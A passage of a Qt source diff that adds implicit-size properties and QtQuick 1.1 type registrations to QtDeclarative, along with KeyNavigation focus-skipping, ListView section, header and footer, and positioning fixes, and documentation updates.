+ Q_PROPERTY(qreal implicitHeight READ implicitHeight NOTIFY implicitHeightChanged REVISION 1)
+
+public:
+ QDeclarativeImplicitSizePaintedItem(QDeclarativeItem *parent = 0);
+
+protected:
+ QDeclarativeImplicitSizePaintedItem(QDeclarativeImplicitSizePaintedItemPrivate &dd, QDeclarativeItem *parent);
+ virtual void drawContents(QPainter *, const QRect &) {};
+
+Q_SIGNALS:
+ Q_REVISION(1) void implicitWidthChanged();
+ Q_REVISION(1) void implicitHeightChanged();
+
+private:
+ Q_DISABLE_COPY(QDeclarativeImplicitSizePaintedItem)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeImplicitSizePaintedItem)
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEIMPLICITSIZEITEM_H
diff --git a/src/network/access/qnetworkaccessdatabackend_p.h b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h
index 18569ec..0bb7163 100644
--- a/src/network/access/qnetworkaccessdatabackend_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p_p.h
@@ -4,7 +4,7 @@
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
-** This file is part of the QtNetwork module of the Qt Toolkit.
+** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
@@ -39,46 +39,52 @@
**
****************************************************************************/
-#ifndef QNETWORKACCESSDATABACKEND_P_H
-#define QNETWORKACCESSDATABACKEND_P_H
+#ifndef QDECLARATIVEIMPLICITSIZEITEM_P_H
+#define QDECLARATIVEIMPLICITSIZEITEM_P_H
//
// W A R N I N G
// -------------
//
-// This file is not part of the Qt API. It exists for the convenience
-// of the Network Access API. This header file may change from
-// version to version without notice, or even be removed.
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
//
// We mean it.
//
-#include "qnetworkaccessbackend_p.h"
+#include "private/qdeclarativeitem_p.h"
+#include "private/qdeclarativepainteditem_p_p.h"
QT_BEGIN_NAMESPACE
-class QNetworkAccessDataBackend: public QNetworkAccessBackend
+class QDeclarativeImplicitSizeItemPrivate : public QDeclarativeItemPrivate
{
-public:
- QNetworkAccessDataBackend();
- virtual ~QNetworkAccessDataBackend();
+ Q_DECLARE_PUBLIC(QDeclarativeImplicitSizeItem)
- virtual void open();
- virtual void closeDownstreamChannel();
- virtual void closeUpstreamChannel();
- virtual bool waitForDownstreamReadyRead(int msecs);
- virtual bool waitForUpstreamBytesWritten(int msecs);
+public:
+ QDeclarativeImplicitSizeItemPrivate()
+ {
+ }
- virtual bool processRequestSynchronously();
+ virtual void implicitWidthChanged();
+ virtual void implicitHeightChanged();
};
-class QNetworkAccessDataBackendFactory: public QNetworkAccessBackendFactory
+
+class QDeclarativeImplicitSizePaintedItemPrivate : public QDeclarativePaintedItemPrivate
{
+ Q_DECLARE_PUBLIC(QDeclarativeImplicitSizePaintedItem)
+
public:
- virtual QNetworkAccessBackend *create(QNetworkAccessManager::Operation op,
- const QNetworkRequest &request) const;
+ QDeclarativeImplicitSizePaintedItemPrivate()
+ {
+ }
+
+ virtual void implicitWidthChanged();
+ virtual void implicitHeightChanged();
};
QT_END_NAMESPACE
-#endif
+#endif // QDECLARATIVEIMPLICITSIZEITEM_P_H
diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp
index 2e3a5a2..ffef61b 100644
--- a/src/declarative/graphicsitems/qdeclarativeitem.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp
@@ -444,6 +444,11 @@ void QDeclarativeItemKeyFilter::componentComplete()
\c KeyNavigation.BeforeItem allows the event to be used for key navigation
before the item, rather than after.
+ If item to which the focus is switching is not enabled or visible, an attempt will
+ be made to skip this item and focus on the next. This is possible if there are
+ a chain of items with the same KeyNavigation handler. If multiple items in a row are not enabled
+ or visible, they will also be skipped.
+
\sa {Keys}{Keys attached property}
*/
@@ -452,10 +457,12 @@ void QDeclarativeItemKeyFilter::componentComplete()
\qmlproperty Item KeyNavigation::right
\qmlproperty Item KeyNavigation::up
\qmlproperty Item KeyNavigation::down
+ \qmlproperty Item KeyNavigation::tab
+ \qmlproperty Item KeyNavigation::backtab
These properties hold the item to assign focus to
- when the left, right, up or down cursor keys are
- pressed.
+ when the left, right, up or down cursor keys, or the
+ tab key are pressed.
*/
/*!
@@ -611,37 +618,37 @@ void QDeclarativeKeyNavigationAttached::keyPressed(QKeyEvent *event, bool post)
switch(event->key()) {
case Qt::Key_Left:
if (d->left) {
- d->left->setFocus(true);
+ setFocusNavigation(d->left, "left");
event->accept();
}
break;
case Qt::Key_Right:
if (d->right) {
- d->right->setFocus(true);
+ setFocusNavigation(d->right, "right");
event->accept();
}
break;
case Qt::Key_Up:
if (d->up) {
- d->up->setFocus(true);
+ setFocusNavigation(d->up, "up");
event->accept();
}
break;
case Qt::Key_Down:
if (d->down) {
- d->down->setFocus(true);
+ setFocusNavigation(d->down, "down");
event->accept();
}
break;
case Qt::Key_Tab:
if (d->tab) {
- d->tab->setFocus(true);
+ setFocusNavigation(d->tab, "tab");
event->accept();
}
break;
case Qt::Key_Backtab:
if (d->backtab) {
- d->backtab->setFocus(true);
+ setFocusNavigation(d->backtab, "backtab");
event->accept();
}
break;
@@ -700,6 +707,29 @@ void QDeclarativeKeyNavigationAttached::keyReleased(QKeyEvent *event, bool post)
if (!event->isAccepted()) QDeclarativeItemKeyFilter::keyReleased(event, post);
}
+void QDeclarativeKeyNavigationAttached::setFocusNavigation(QDeclarativeItem *currentItem, const char *dir)
+{
+ QDeclarativeItem *initialItem = currentItem;
+ bool isNextItem = false;
+ do {
+ isNextItem = false;
+ if (currentItem->isVisible() && currentItem->isEnabled()) {
+ currentItem->setFocus(true);
+ } else {
+ QObject *attached =
+ qmlAttachedPropertiesObject<QDeclarativeKeyNavigationAttached>(currentItem, false);
+ if (attached) {
+ QDeclarativeItem *tempItem = qvariant_cast<QDeclarativeItem*>(attached->property(dir));
+ if (tempItem) {
+ currentItem = tempItem;
+ isNextItem = true;
+ }
+ }
+ }
+ }
+ while (currentItem != initialItem && isNextItem);
+}
+
/*!
\qmlclass Keys QDeclarativeKeysAttached
\ingroup qml-basic-interaction-elements
@@ -799,10 +829,18 @@ void QDeclarativeKeyNavigationAttached::keyReleased(QKeyEvent *event, bool post)
This example forwards key events to two lists:
\qml
- ListView { id: list1 ... }
- ListView { id: list2 ... }
- Keys.forwardTo: [list1, list2]
- focus: true
+ Item {
+ ListView {
+ id: list1
+ // ...
+ }
+ ListView {
+ id: list2
+ // ...
+ }
+ Keys.forwardTo: [list1, list2]
+ focus: true
+ }
\endqml
*/
@@ -1881,11 +1919,26 @@ void QDeclarativeItem::setClip(bool c)
/*!
\qmlproperty bool Item::visible
- Whether the item is visible. By default this is true.
+ This property holds whether the item is visible. By default this is true.
+
+ Setting this property directly affects the \c visible value of child
+ items. When set to \c false, the \c visible values of all child items also
+ become \c false. When set to \c true, the \c visible values of child items
+ are returned to \c true, unless they have explicitly been set to \c false.
- \note visible is not linked to actual visibility; if an item
- moves off screen, or the opacity changes to 0, this will
- not affect the visible property.
+ (Because of this flow-on behavior, using the \c visible property may not
+ have the intended effect if a property binding should only respond to
+ explicit property changes. In such cases it may be better to use the
+ \l opacity property instead.)
+
+ Setting this property to \c false automatically causes \l focus to be set
+ to \c false, and this item will longer receive mouse and keyboard events.
+ (In contrast, setting the \l opacity to 0 does not affect the \l focus
+ property and the receiving of key events.)
+
+ \note This property's value is only affected by changes to this property or
+ the parent's \c visible property. It does not change, for example, if this
+ item moves off-screen, or if the \l opacity changes to 0.
*/
@@ -2116,13 +2169,18 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
\o \image declarative-anchors_example.png
\o Text anchored to Image, horizontally centered and vertically below, with a margin.
\qml
- Image { id: pic; ... }
- Text {
- id: label
- anchors.horizontalCenter: pic.horizontalCenter
- anchors.top: pic.bottom
- anchors.topMargin: 5
- ...
+ Item {
+ Image {
+ id: pic
+ // ...
+ }
+ Text {
+ id: label
+ anchors.horizontalCenter: pic.horizontalCenter
+ anchors.top: pic.bottom
+ anchors.topMargin: 5
+ // ...
+ }
}
\endqml
\row
@@ -2132,13 +2190,18 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
property of both defaults to 0.
\qml
- Image { id: pic; ... }
- Text {
- id: label
- anchors.left: pic.right
- anchors.leftMargin: 5
- ...
- }
+ Item {
+ Image {
+ id: pic
+ // ...
+ }
+ Text {
+ id: label
+ anchors.left: pic.right
+ anchors.leftMargin: 5
+ // ...
+ }
+ }
\endqml
\endtable
@@ -2259,13 +2322,15 @@ void QDeclarativeItem::setBaselineOffset(qreal offset)
/*!
\qmlproperty real Item::opacity
- The opacity of the item. Opacity is specified as a number between 0
- (fully transparent) and 1 (fully opaque). The default is 1.
+ This property holds the opacity of the item. Opacity is specified as a
+ number between 0 (fully transparent) and 1 (fully opaque). The default is 1.
- Opacity is an \e inherited attribute. That is, the opacity is
- also applied individually to child items. In almost all cases this
- is what you want, but in some cases (like the following example)
- it may produce undesired results.
+ When this property is set, the specified opacity is also applied
+ individually to child items. In almost all cases this is what you want,
+ but in some cases it may produce undesired results. For example in the
+ second set of rectangles below, the red rectangle has specified an opacity
+ of 0.5, which affects the opacity of its blue child rectangle even though
+ the child has not specified an opacity.
\table
\row
@@ -2300,6 +2365,12 @@ void QDeclarativeItem::setBaselineOffset(qreal offset)
}
\endqml
\endtable
+
+ If an item's opacity is set to 0, the item will no longer receive mouse
+ events, but will continue to receive key events and will retain the keyboard
+ \l focus if it has been set. (In contrast, setting the \l visible property
+ to \c false stops both mouse and keyboard events, and also removes focus
+ from the item.)
*/
/*!
@@ -2452,11 +2523,15 @@ QDeclarativeListProperty<QObject> QDeclarativeItemPrivate::resources()
\qml
Item {
- states: [
- State { ... },
- State { ... }
- ...
- ]
+ states: [
+ State {
+ // ...
+ },
+ State {
+ // ...
+ }
+ // ...
+ ]
}
\endqml
@@ -2474,11 +2549,15 @@ QDeclarativeListProperty<QDeclarativeState> QDeclarativeItemPrivate::states()
\qml
Item {
- transitions: [
- Transition { ... },
- Transition { ... }
- ...
- ]
+ transitions: [
+ Transition {
+ // ...
+ },
+ Transition {
+ // ...
+ }
+ // ...
+ ]
}
\endqml
@@ -2503,11 +2582,15 @@ QDeclarativeListProperty<QDeclarativeTransition> QDeclarativeItemPrivate::transi
\qml
Item {
- filter: [
- Blur { ... },
- Reflection { ... }
- ...
- ]
+ filter: [
+ Blur {
+ // ...
+ },
+ Reflection {
+ // ...
+ }
+ // ...
+ ]
}
\endqml
*/
@@ -2542,14 +2625,14 @@ QDeclarativeListProperty<QDeclarativeTransition> QDeclarativeItemPrivate::transi
This property is often used in scripts to change between states. For
example:
- \qml
- function toggle() {
- if (button.state == 'On')
- button.state = 'Off';
- else
- button.state = 'On';
- }
- \endqml
+ \js
+ function toggle() {
+ if (button.state == 'On')
+ button.state = 'Off';
+ else
+ button.state = 'On';
+ }
+ \endjs
If the item is in its base state (i.e. no explicit state has been
set), \c state will be a blank string. Likewise, you can return an
@@ -3026,13 +3109,24 @@ void QDeclarativeItemPrivate::resetWidth()
q->setImplicitWidth(q->implicitWidth());
}
+void QDeclarativeItemPrivate::implicitWidthChanged()
+{
+ Q_Q(QDeclarativeItem);
+ emit q->implicitWidthChanged();
+}
+
+qreal QDeclarativeItemPrivate::implicitWidth() const
+{
+ return mImplicitWidth;
+}
+
/*!
Returns the width of the item that is implied by other properties that determine the content.
*/
qreal QDeclarativeItem::implicitWidth() const
{
Q_D(const QDeclarativeItem);
- return d->implicitWidth;
+ return d->implicitWidth();
}
/*!
@@ -3042,9 +3136,13 @@ qreal QDeclarativeItem::implicitWidth() const
void QDeclarativeItem::setImplicitWidth(qreal w)
{
Q_D(QDeclarativeItem);
- d->implicitWidth = w;
- if (d->mWidth == w || widthValid())
+ bool changed = w != d->mImplicitWidth;
+ d->mImplicitWidth = w;
+ if (d->mWidth == w || widthValid()) {
+ if (changed)
+ d->implicitWidthChanged();
return;
+ }
qreal oldWidth = d->mWidth;
@@ -3053,6 +3151,9 @@ void QDeclarativeItem::setImplicitWidth(qreal w)
geometryChanged(QRectF(x(), y(), width(), height()),
QRectF(x(), y(), oldWidth, height()));
+
+ if (changed)
+ d->implicitWidthChanged();
}
/*!
@@ -3134,25 +3235,77 @@ void QDeclarativeItemPrivate::resetHeight()
q->setImplicitHeight(q->implicitHeight());
}
+void QDeclarativeItemPrivate::implicitHeightChanged()
+{
+ Q_Q(QDeclarativeItem);
+ emit q->implicitHeightChanged();
+}
+
+qreal QDeclarativeItemPrivate::implicitHeight() const
+{
+ return mImplicitHeight;
+}
+
/*!
Returns the height of the item that is implied by other properties that determine the content.
*/
qreal QDeclarativeItem::implicitHeight() const
{
Q_D(const QDeclarativeItem);
- return d->implicitHeight;
+ return d->implicitHeight();
}
/*!
+ \qmlproperty real Item::implicitWidth
+ \qmlproperty real Item::implicitHeight
+ \since Quick 1.1
+
+ Defines the natural width or height of the Item if no \l width or \l height is specified.
+
+ The default implicit size for most items is 0x0, however some elements have an inherent
+ implicit size which cannot be overridden, e.g. Image, Text.
+
+ Setting the implicit size is useful for defining components that have a preferred size
+ based on their content, for example:
+
+ \code
+ // Label.qml
+ import QtQuick 1.1
+
+ Item {
+ property alias icon: image.source
+ property alias label: text.text
+ implicitWidth: text.implicitWidth + image.implicitWidth
+ implicitHeight: Math.max(text.implicitHeight, image.implicitHeight)
+ Image { id: image }
+ Text {
+ id: text
+ wrapMode: Text.Wrap
+ anchors.left: image.right; anchors.right: parent.right
+ anchors.verticalCenter: parent.verticalCenter
+ }
+ }
+ \endcode
+
+ \bold Note: using implicitWidth of Text or TextEdit and setting the width explicitly
+ incurs a performance penalty as the text must be laid out twice.
+*/
+
+
+/*!
Sets the implied height of the item to \a h.
This is the height implied by other properties that determine the content.
*/
void QDeclarativeItem::setImplicitHeight(qreal h)
{
Q_D(QDeclarativeItem);
- d->implicitHeight = h;
- if (d->mHeight == h || heightValid())
+ bool changed = h != d->mImplicitHeight;
+ d->mImplicitHeight = h;
+ if (d->mHeight == h || heightValid()) {
+ if (changed)
+ d->implicitHeightChanged();
return;
+ }
qreal oldHeight = d->mHeight;
@@ -3161,6 +3314,9 @@ void QDeclarativeItem::setImplicitHeight(qreal h)
geometryChanged(QRectF(x(), y(), width(), height()),
QRectF(x(), y(), width(), oldHeight));
+
+ if (changed)
+ d->implicitHeightChanged();
}
/*!
diff --git a/src/declarative/graphicsitems/qdeclarativeitem.h b/src/declarative/graphicsitems/qdeclarativeitem.h
index 0dd3937..839b934 100644
--- a/src/declarative/graphicsitems/qdeclarativeitem.h
+++ b/src/declarative/graphicsitems/qdeclarativeitem.h
@@ -92,6 +92,9 @@ class Q_DECLARATIVE_EXPORT QDeclarativeItem : public QGraphicsObject, public QDe
Q_PROPERTY(TransformOrigin transformOrigin READ transformOrigin WRITE setTransformOrigin NOTIFY transformOriginChanged)
Q_PROPERTY(QPointF transformOriginPoint READ transformOriginPoint) // transformOriginPoint is read-only for Item
Q_PROPERTY(bool smooth READ smooth WRITE setSmooth NOTIFY smoothChanged)
+ Q_PROPERTY(qreal implicitWidth READ implicitWidth WRITE setImplicitWidth NOTIFY implicitWidthChanged REVISION 1)
+ Q_PROPERTY(qreal implicitHeight READ implicitHeight WRITE setImplicitHeight NOTIFY implicitHeightChanged REVISION 1)
+
Q_ENUMS(TransformOrigin)
Q_CLASSINFO("DefaultProperty", "data")
@@ -161,6 +164,8 @@ Q_SIGNALS:
void transformOriginChanged(TransformOrigin);
void smoothChanged(bool);
void clipChanged(bool);
+ Q_REVISION(1) void implicitWidthChanged();
+ Q_REVISION(1) void implicitHeightChanged();
protected:
bool isComponentComplete() const;
diff --git a/src/declarative/graphicsitems/qdeclarativeitem_p.h b/src/declarative/graphicsitems/qdeclarativeitem_p.h
index 781dd6d..4303c0a 100644
--- a/src/declarative/graphicsitems/qdeclarativeitem_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeitem_p.h
@@ -126,7 +126,7 @@ public:
widthValid(false), heightValid(false),
componentComplete(true), keepMouse(false),
smooth(false), transformOriginDirty(true), doneEventPreHandler(false), keyHandler(0),
- mWidth(0), mHeight(0), implicitWidth(0), implicitHeight(0), hadSubFocusItem(false)
+ mWidth(0), mHeight(0), mImplicitWidth(0), mImplicitHeight(0), hadSubFocusItem(false)
{
QGraphicsItemPrivate::acceptedMouseButtons = 0;
isDeclarativeItem = 1;
@@ -157,6 +157,11 @@ public:
void setHeight(qreal);
void resetHeight();
+ virtual qreal implicitWidth() const;
+ virtual qreal implicitHeight() const;
+ virtual void implicitWidthChanged();
+ virtual void implicitHeightChanged();
+
QDeclarativeListProperty<QObject> data();
QDeclarativeListProperty<QObject> resources();
@@ -272,8 +277,8 @@ public:
qreal mWidth;
qreal mHeight;
- qreal implicitWidth;
- qreal implicitHeight;
+ qreal mImplicitWidth;
+ qreal mImplicitHeight;
bool hadSubFocusItem;
@@ -415,6 +420,7 @@ Q_SIGNALS:
private:
virtual void keyPressed(QKeyEvent *event, bool post);
virtual void keyReleased(QKeyEvent *event, bool post);
+ void setFocusNavigation(QDeclarativeItem *currentItem, const char *dir);
};
class QDeclarativeKeysAttachedPrivate : public QObjectPrivate
diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
index 52703c2..3c8f64e 100644
--- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp
@@ -78,6 +78,7 @@
#include "private/qdeclarativewebview_p_p.h"
#endif
#include "private/qdeclarativeanchors_p.h"
+#include "private/qdeclarativepincharea_p.h"
static QDeclarativePrivate::AutoParentResult qgraphicsobject_autoParent(QObject *obj, QObject *parent)
{
@@ -174,6 +175,30 @@ void QDeclarativeItemModule::defineModule()
qmlRegisterUncreatableType<QDeclarativeKeyNavigationAttached>("QtQuick",1,0,"KeyNavigation",QDeclarativeKeyNavigationAttached::tr("KeyNavigation is only available via attached properties"));
qmlRegisterUncreatableType<QDeclarativeKeysAttached>("QtQuick",1,0,"Keys",QDeclarativeKeysAttached::tr("Keys is only available via attached properties"));
+ // QtQuick 1.1 items
+ qmlRegisterType<QDeclarativePinchArea>("QtQuick",1,1,"PinchArea");
+ qmlRegisterType<QDeclarativePinch>("QtQuick",1,1,"Pinch");
+ qmlRegisterType<QDeclarativePinchEvent>();
+ qmlRegisterType<QDeclarativeItem,1>("QtQuick",1,1,"Item");
+ qmlRegisterType<QDeclarativeMouseArea,1>("QtQuick",1,1,"MouseArea");
+ qmlRegisterType<QDeclarativeFlickable,1>("QtQuick",1,1,"Flickable");
+ qmlRegisterType<QDeclarativeListView,1>("QtQuick",1,1,"ListView");
+ qmlRegisterType<QDeclarativeGridView,1>("QtQuick",1,1,"GridView");
+ qmlRegisterType<QDeclarativeRow,1>("QtQuick",1,1,"Row");
+ qmlRegisterType<QDeclarativeGrid,1>("QtQuick",1,1,"Grid");
+ qmlRegisterType<QDeclarativeFlow,1>("QtQuick",1,1,"Flow");
+ qmlRegisterType<QDeclarativeRepeater,1>("QtQuick",1,1,"Repeater");
+ qmlRegisterType<QDeclarativeText,1>("QtQuick",1,1,"Text");
+ qmlRegisterType<QDeclarativeTextEdit,1>("QtQuick",1,1,"TextEdit");
+#ifndef QT_NO_LINEEDIT
+ qmlRegisterType<QDeclarativeTextInput,1>("QtQuick",1,1,"TextInput");
+#endif
+ qmlRegisterRevision<QDeclarativeImageBase,1>("QtQuick",1,1);
+ qmlRegisterRevision<QDeclarativeImplicitSizeItem,0>("QtQuick",1,0);
+ qmlRegisterRevision<QDeclarativeImplicitSizeItem,1>("QtQuick",1,1);
+ qmlRegisterRevision<QDeclarativeImplicitSizePaintedItem,0>("QtQuick",1,0);
+ qmlRegisterRevision<QDeclarativeImplicitSizePaintedItem,1>("QtQuick",1,1);
+
#ifndef QT_NO_IMPORT_QT47_QML
#ifdef QT_NO_MOVIE
qmlRegisterTypeNotAvailable("Qt",4,7,"AnimatedImage",
diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp
index b4fd571..338cb58 100644
--- a/src/declarative/graphicsitems/qdeclarativelistview.cpp
+++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp
@@ -148,7 +148,7 @@ public:
else
item->setWidth(size);
}
- bool contains(int x, int y) const {
+ bool contains(qreal x, qreal y) const {
return (x >= item->x() && x < item->x() + item->width() &&
y >= item->y() && y < item->y() + item->height());
}
@@ -228,6 +228,26 @@ public:
return 0;
}
+ // Returns the item before modelIndex, if created.
+ // May return an item marked for removal.
+ FxListItem *itemBefore(int modelIndex) const {
+ if (modelIndex < visibleIndex)
+ return 0;
+ int idx = 1;
+ int lastIndex = -1;
+ while (idx < visibleItems.count()) {
+ FxListItem *item = visibleItems.at(idx);
+ if (item->index != -1)
+ lastIndex = item->index;
+ if (item->index == modelIndex)
+ return visibleItems.at(idx-1);
+ ++idx;
+ }
+ if (lastIndex == modelIndex-1)
+ return visibleItems.last();
+ return 0;
+ }
+
qreal position() const {
Q_Q(const QDeclarativeListView);
return orient == QDeclarativeListView::Vertical ? q->contentY() : q->contentX();
@@ -413,8 +433,10 @@ public:
}
}
if ((header && header->item == item) || (footer && footer->item == item)) {
- updateHeader();
- updateFooter();
+ if (header)
+ updateHeader();
+ if (footer)
+ updateFooter();
}
if (currentItem && currentItem->item == item)
updateHighlight();
@@ -451,6 +473,7 @@ public:
void updateHeader();
void updateFooter();
void fixupPosition();
+ void positionViewAtIndex(int index, int mode);
virtual void fixup(AxisData &data, qreal minExtent, qreal maxExtent);
virtual void flick(QDeclarativeFlickablePrivate::AxisData &data, qreal minExtent, qreal maxExtent, qreal vSize,
QDeclarativeTimeLineCallback::Callback fixupCallback, qreal velocity);
@@ -558,7 +581,7 @@ FxListItem *QDeclarativeListViewPrivate::createItem(int modelIndex)
QString propValue = model->stringValue(modelIndex, sectionCriteria->property());
listItem->attached->m_section = sectionCriteria->sectionString(propValue);
if (modelIndex > 0) {
- if (FxListItem *item = visibleItem(modelIndex-1))
+ if (FxListItem *item = itemBefore(modelIndex))
listItem->attached->m_prevSection = item->attached->section();
else
listItem->attached->m_prevSection = sectionAt(modelIndex-1);
@@ -935,6 +958,9 @@ void QDeclarativeListViewPrivate::createSection(FxListItem *listItem)
}
}
listItem->setPosition(pos);
+ } else {
+ QDeclarativeContext *context = QDeclarativeEngine::contextForObject(listItem->section)->parentContext();
+ context->setContextProperty(QLatin1String("section"), listItem->attached->m_section);
}
} else if (listItem->section) {
qreal pos = listItem->position();
@@ -963,18 +989,18 @@ void QDeclarativeListViewPrivate::updateSections()
QDeclarativeListViewAttached *prevAtt = 0;
int idx = -1;
for (int i = 0; i < visibleItems.count(); ++i) {
+ QDeclarativeListViewAttached *attached = visibleItems.at(i)->attached;
+ attached->setPrevSection(prevSection);
if (visibleItems.at(i)->index != -1) {
- QDeclarativeListViewAttached *attached = visibleItems.at(i)->attached;
- attached->setPrevSection(prevSection);
QString propValue = model->stringValue(visibleItems.at(i)->index, sectionCriteria->property());
attached->setSection(sectionCriteria->sectionString(propValue));
- if (prevAtt)
- prevAtt->setNextSection(attached->section());
- createSection(visibleItems.at(i));
- prevSection = attached->section();
- prevAtt = attached;
idx = visibleItems.at(i)->index;
}
+ createSection(visibleItems.at(i));
+ if (prevAtt)
+ prevAtt->setNextSection(attached->section());
+ prevSection = attached->section();
+ prevAtt = attached;
}
if (prevAtt) {
if (idx > 0 && idx < model->count()-1)
@@ -2231,6 +2257,9 @@ void QDeclarativeListView::setFooter(QDeclarativeComponent *footer)
Q_D(QDeclarativeListView);
if (d->footerComponent != footer) {
if (d->footer) {
+ if (scene())
+ scene()->removeItem(d->footer->item);
+ d->footer->item->deleteLater();
delete d->footer;
d->footer = 0;
}
@@ -2240,6 +2269,7 @@ void QDeclarativeListView::setFooter(QDeclarativeComponent *footer)
if (isComponentComplete()) {
d->updateFooter();
d->updateViewport();
+ d->fixupPosition();
}
emit footerChanged();
}
@@ -2265,6 +2295,9 @@ void QDeclarativeListView::setHeader(QDeclarativeComponent *header)
Q_D(QDeclarativeListView);
if (d->headerComponent != header) {
if (d->header) {
+ if (scene())
+ scene()->removeItem(d->header->item);
+ d->header->item->deleteLater();
delete d->header;
d->header = 0;
}
@@ -2275,6 +2308,7 @@ void QDeclarativeListView::setHeader(QDeclarativeComponent *header)
d->updateHeader();
d->updateFooter();
d->updateViewport();
+ d->fixupPosition();
}
emit headerChanged();
}
@@ -2558,6 +2592,78 @@ void QDeclarativeListView::decrementCurrentIndex()
}
}
+void QDeclarativeListViewPrivate::positionViewAtIndex(int index, int mode)
+{
+ Q_Q(QDeclarativeListView);
+ if (!isValid())
+ return;
+ if (mode < QDeclarativeListView::Beginning || mode > QDeclarativeListView::Contain)
+ return;
+ int idx = qMax(qMin(index, model->count()-1), 0);
+
+ if (layoutScheduled)
+ layout();
+ qreal pos = position();
+ FxListItem *item = visibleItem(idx);
+ qreal maxExtent = orient == QDeclarativeListView::Vertical ? -q->maxYExtent() : -q->maxXExtent();
+ if (!item) {
+ int itemPos = positionAt(idx);
+ // save the currently visible items in case any of them end up visible again
+ QList<FxListItem*> oldVisible = visibleItems;
+ visibleItems.clear();
+ visiblePos = itemPos;
+ visibleIndex = idx;
+ setPosition(qMin(qreal(itemPos), maxExtent));
+ // now release the reference to all the old visible items.
+ for (int i = 0; i < oldVisible.count(); ++i)
+ releaseItem(oldVisible.at(i));
+ item = visibleItem(idx);
+ }
+ if (item) {
+ const qreal itemPos = item->position();
+ switch (mode) {
+ case QDeclarativeListView::Beginning:
+ pos = itemPos;
+ if (index < 0 && header)
+ pos -= header->size();
+ break;
+ case QDeclarativeListView::Center:
+ pos = itemPos - (size() - item->size())/2;
+ break;
+ case QDeclarativeListView::End:
+ pos = itemPos - size() + item->size();
+ if (index >= model->count() && footer)
+ pos += footer->size();
+ break;
+ case QDeclarativeListView::Visible:
+ if (itemPos > pos + size())
+ pos = itemPos - size() + item->size();
+ else if (item->endPosition() < pos)
+ pos = itemPos;
+ break;
+ case QDeclarativeListView::Contain:
+ if (item->endPosition() > pos + size())
+ pos = itemPos - size() + item->size();
+ if (itemPos < pos)
+ pos = itemPos;
+ }
+ pos = qMin(pos, maxExtent);
+ qreal minExtent = orient == QDeclarativeListView::Vertical ? -q->minYExtent() : -q->minXExtent();
+ pos = qMax(pos, minExtent);
+ moveReason = QDeclarativeListViewPrivate::Other;
+ q->cancelFlick();
+ setPosition(pos);
+ if (highlight) {
+ if (autoHighlight) {
+ highlight->setPosition(currentItem->itemPosition());
+ highlight->setSize(currentItem->itemSize());
+ }
+ updateHighlight();
+ }
+ }
+ fixupPosition();
+}
+
/*!
\qmlmethod ListView::positionViewAtIndex(int index, PositionMode mode)
@@ -2596,66 +2702,42 @@ void QDeclarativeListView::positionViewAtIndex(int index, int mode)
Q_D(QDeclarativeListView);
if (!d->isValid() || index < 0 || index >= d->model->count())
return;
- if (mode < Beginning || mode > Contain)
+ d->positionViewAtIndex(index, mode);
+}
+
+/*!
+ \qmlmethod ListView::positionViewAtBeginning()
+ \qmlmethod ListView::positionViewAtEnd()
+
+ Positions the view at the beginning or end, taking into account any header or footer.
+
+ It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view
+ at a particular index. This is unreliable since removing items from the start
+ of the list does not cause all other items to be repositioned, and because
+ the actual start of the view can vary based on the size of the delegates.
+
+ \bold Note: methods should only be called after the Component has completed. To position
+ the view at startup, this method should be called by Component.onCompleted. For
+ example, to position the view at the end on startup:
+
+ \code
+ Component.onCompleted: positionViewAtEnd()
+ \endcode
+*/
+void QDeclarativeListView::positionViewAtBeginning()
+{
+ Q_D(QDeclarativeListView);
+ if (!d->isValid())
return;
+ d->positionViewAtIndex(-1, Beginning);
+}
- if (d->layoutScheduled)
- d->layout();
- qreal pos = d->position();
- FxListItem *item = d->visibleItem(index);
- if (!item) {
- int itemPos = d->positionAt(index);
- // save the currently visible items in case any of them end up visible again
- QList<FxListItem*> oldVisible = d->visibleItems;
- d->visibleItems.clear();
- d->visiblePos = itemPos;
- d->visibleIndex = index;
- d->setPosition(itemPos);
- // now release the reference to all the old visible items.
- for (int i = 0; i < oldVisible.count(); ++i)
- d->releaseItem(oldVisible.at(i));
- item = d->visibleItem(index);
- }
- if (item) {
- const qreal itemPos = item->position();
- switch (mode) {
- case Beginning:
- pos = itemPos;
- break;
- case Center:
- pos = itemPos - (d->size() - item->size())/2;
- break;
- case End:
- pos = itemPos - d->size() + item->size();
- break;
- case Visible:
- if (itemPos > pos + d->size())
- pos = itemPos - d->size() + item->size();
- else if (item->endPosition() < pos)
- pos = itemPos;
- break;
- case Contain:
- if (item->endPosition() > pos + d->size())
- pos = itemPos - d->size() + item->size();
- if (itemPos < pos)
- pos = itemPos;
- }
- qreal maxExtent = d->orient == QDeclarativeListView::Vertical ? -maxYExtent() : -maxXExtent();
- pos = qMin(pos, maxExtent);
- qreal minExtent = d->orient == QDeclarativeListView::Vertical ? -minYExtent() : -minXExtent();
- pos = qMax(pos, minExtent);
- d->moveReason = QDeclarativeListViewPrivate::Other;
- cancelFlick();
- d->setPosition(pos);
- if (d->highlight) {
- if (d->autoHighlight) {
- d->highlight->setPosition(d->currentItem->itemPosition());
- d->highlight->setSize(d->currentItem->itemSize());
- }
- d->updateHighlight();
- }
- }
